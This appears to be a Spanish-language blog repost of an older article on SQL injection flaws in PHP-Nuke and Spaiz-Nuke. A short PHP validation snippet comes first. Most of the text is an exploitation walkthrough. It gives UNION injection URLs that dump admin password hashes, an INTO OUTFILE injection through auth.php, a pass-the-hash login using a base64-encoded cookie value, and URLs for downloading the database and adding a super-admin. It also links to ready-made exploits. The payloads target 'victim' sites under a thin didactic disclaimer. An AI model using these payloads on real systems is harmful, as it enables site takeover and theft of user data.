Saltar al contenido

Bug peligroso ante el atake de los hackers (noticia de la Web antigua)

catosino escribió

En muchos sitios esta dando vuelta la noticia de una nueva falla en el PHP-Nuke, que permite tomar el control de todo el sistema.
Pero hay cosas que muchos no tiene claro todavía, por eso aquí las explico, y doy mas detalles sobre el tema…..
Te puede descargar los archivos ya modificados AQUÍ

Primero: La falla NO es en el archivo modules.php, sino
que esta presente en los módulos Downloads y Weblinks, entre otros. El archivo modules.php solo se encarga de incluir los archivos de cada modulo para que así la URL quede mas presentable.

Por eso el advisorie:

http://www.securityfocus.com/archive/1/340664

Esta mal desde un principio. Otra cosa para aclarar, que podriamos llamar:

Segundo: Esta falla no tiene nada de nueva, ya que es la misma
descubierta para las versiones:

– PHP-Nuke 6.0

– PHP-Nuke 6.5 RC3

– PHP-Nuke 6.5 RC2

– PHP-Nuke 6.5 RC1

– PHP-Nuke 6.5 FINAL

– PHP-Nuke 6.5 BETA 1

– PHP-Nuke 6.5

– PHP-Nuke 6.5 with all patches ,

– PHP-Nuke 6.0 with all patches.

– PHP-Nuke 5.5 with all patches

Es por eso que insisto en que no es una nueva falla, ya que en las ultimas versiones del PHP-Nuke se viene usando los mismo módulos de esas versiones anteriormente citadas, y que no han sido parcheadas, por eso es que son vulnerables todas las ultimas versiones del PHP-Nuke, hasta la 6.9, según he comprobado.

No son solo los módulos Downloads y WebLinks, sino todo aquel modulo o pagina que no controle correctamente sus variables.
Una forma rápida y fácil de solucionar esto es controlando el contenido de las variables de la siguiente forma:

# $variable es la que debemos controlar, así que cambia su nombre según te convenga ;)
$variable = addslashes($variable);
if(!isset($variable) || $variable == NULL || !is_numeric ($variable))
{
Header("Location: index.php");
exit();
}

Inyección SQL en PHP-Nuke y Spaiz-Nuke

Eso en el caso de que deba ser numérica, sino basta con quitar el !is_numeric($variable) de la condición del IF.

Bueno me voy a dejar de dar vueltas y pasamos al tema de la explotación de las falla, que no solo sirve para hacer daño, sino que les permitirá testar sus sistemas y saber como solucionar este tipo de fallas.

Bueno, para poder ver los hashes de los admins, debemos hacer una pequeña inserción de código SQL, en las variables $cid de los módulos en cuestión. Por ejemplo:

Para el Módulo Download:

http://victima-nukeada/modules.php?name=Downloads&d_op=viewdownload&cid=2%20UNION%20select%20counter,%20aid,%20pwd%20FROM%20nuke_authors%20

Para el Módulo WebLinks:

http://victima-nukeada/modules.php?name=Web_Links&l_op=viewlink&cid=2%20UNION%20select%20counter,%20pwd,%20aid%20FROM%20nuke_authors%20

Nota: Para que funcione en Spaiz-Nuke debes cambiar
nuke_authors por spnuke_authors

Vulnerabilidad en el archivo auth.php:

Esta vulnerabilidad se encuentra en el archivo auth.php, en la función que comprueba el usuario y la contraseña (Según su descubridor, testado en spaiz-nuke)

En concreto en la variable $aid, porque no se comprueba que el contenido de la misma sea seguro. Mediante el uso de las ”, es posible crear una URL como esta:

http://victima-nukeada/admin.php?op=login&pwd=123&aid=Admin’%20INTO%20OUTFILE%20’/path_to_file/pwd.txt

En este ejemplo se crea un archivo en /path_to_file/pwd.txt que contiene el password (encriptado en MD5) del admin.

Accediendo con la contraseña encriptada:

Un atacante puede autentificarse en el PHP-Nuke incluso sin conocer el password desencriptado.

El método es el siguiente:

Una vez que ya obtuvimos los hashes de los admins, ya sea explotando las fallas en los módulos como en el auth.php, debemos codificar en base64 el usuario y la contraseña obtenidos mediante la inyección SQL (o por cualquier otro método).

Para pasarlo a base64 puedes utilizar cualquier codificador de base64 o puedes hacerlo online en una web como esta:

http://www.isecurelabs.com/base64.php

http://www.rzw.com.ar/base64nuke.php ;)

Buscamos el equivalente en base64 de la siguiente linea:

login:crypt_.passwd:

donde login es el usuario y crypt_.passwd es la contraseña en MD5
Por ejemplo, con esta línea

admin:21232f297a57a5a743894a0e4a801fc3:
obtendríamos algo así:

YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM6
Ahora podemos acceder al panel del administrador usando una URL de este tipo:

http://victima-nukeada/admin.php?admin=YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM6

Una vez dentro te darás cuenta que cuando quieres acceder a cada opción del panel de control te volverá a pedir el password, lo único que tienes que hacer, es copiar el enlace de la sección a la que quieres ingresar y agregarle a dicha URL los mismo que le pusiste al admin.php para ver el panel de administración.
Por ejemplo:
Para bajarte la base de datos:

http://victima-nukeada/admin.php?op=backup&admin=YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM6

Creando Admins:

Si queremos ahorrarnos el trabajo de andar colocando esos datos en la URL, podemos crearnos un nuevo admin con el siguiente exploit escrito en Perl:

http://rst.void.ru/download/r57nuke.txt

Exploit en PHP en Rynho Zeros Web:

http://www.rzw.com.ar/xptnk.php (Usar con moderación ;)

Puedes hacer esto también, mediante un enlace como el siguiente:

http://victima-nukeada/admin.php?op=AddAuthor&add_radminsuper=1&add_name=&add_aid=&add_email=&add_pwd=&admin=

Nick corresponde al que tendrá el nuevo admin, el email lo mismo, el password debe ser colocado en texto plano no el hash, y el Hash, es el obtenido utilizando alguno de los métodos anteriormente explicados y correspondiente al admin del sitio, preferentemente el God (Admin Principal).

Basado en:

http://www.cyruxnet.com.ar/phpnuke_modules.htm

Aclaración: Este articulo esta basado en el que Cyruxnet
publico en su web, pero se ha modificado para aclarar ciertos puntos, y agregar otros. Ademas, este texto es con fines didácticos, no nos hacemos responsables del mal uso que se haga de lo aquí explicado.

Por CATOSINO